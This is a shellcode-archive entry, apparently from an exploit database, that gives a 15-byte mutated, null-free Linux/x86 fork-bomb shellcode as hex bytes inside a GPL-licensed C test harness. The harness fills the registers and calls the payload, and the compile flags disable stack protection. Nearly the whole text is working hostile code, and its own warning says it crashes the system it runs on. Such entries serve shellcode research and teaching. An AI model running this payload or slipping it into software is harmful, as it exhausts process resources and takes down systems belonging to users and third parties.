Linux/x86 - Fork Bomb + Mutated + Null-Free Shellcode (15 bytes)

/*

   Mutated Fork Bomb Shellcode - C Language - Linux/x86
   Copyright (C) 2013 Geyslan G. Bem, Hacking bits

   http://hackingbits.com
   geyslan@gmail.com

   This program is free software: you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program.  If not, see <http://www.gnu.org/licenses/>.

*/

/*

   mutated_fork_bomb_shellcode

   * 15 bytes
   * null-free
   * mutated isn't polymorphic (shellcode does not replicate itself to be called polymorphic)


   # gcc -m32 -fno-stack-protector -z execstack mutated_fork_bomb_shellcode.c -o mutated_fork_bomb_shellcode

   Testing
   * Only run it in a Virtual Machine!!! Your system will crash. Use at your own risk!

*/


#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = \

              "\x31\xff\xeb\x01\xe8\xb2\x1d\x97\x83\xe8"
              "\x1b\xcd\x80\xeb\xf1";


main ()
{

    // When contains null bytes, printf will show a wrong shellcode length.

    printf("Shellcode Length:  %d\n", strlen(shellcode));

    // Pollutes all registers ensuring that the shellcode runs in any circumstance.

    __asm__ ("movl $0xffffffff, %eax\n\t"
            "movl %eax, %ebx\n\t"
            "movl %eax, %ecx\n\t"
            "movl %eax, %edx\n\t"
            "movl %eax, %esi\n\t"
            "movl %eax, %edi\n\t"
            "movl %eax, %ebp\n\t"

            // Calling the shellcode
            "call shellcode");

}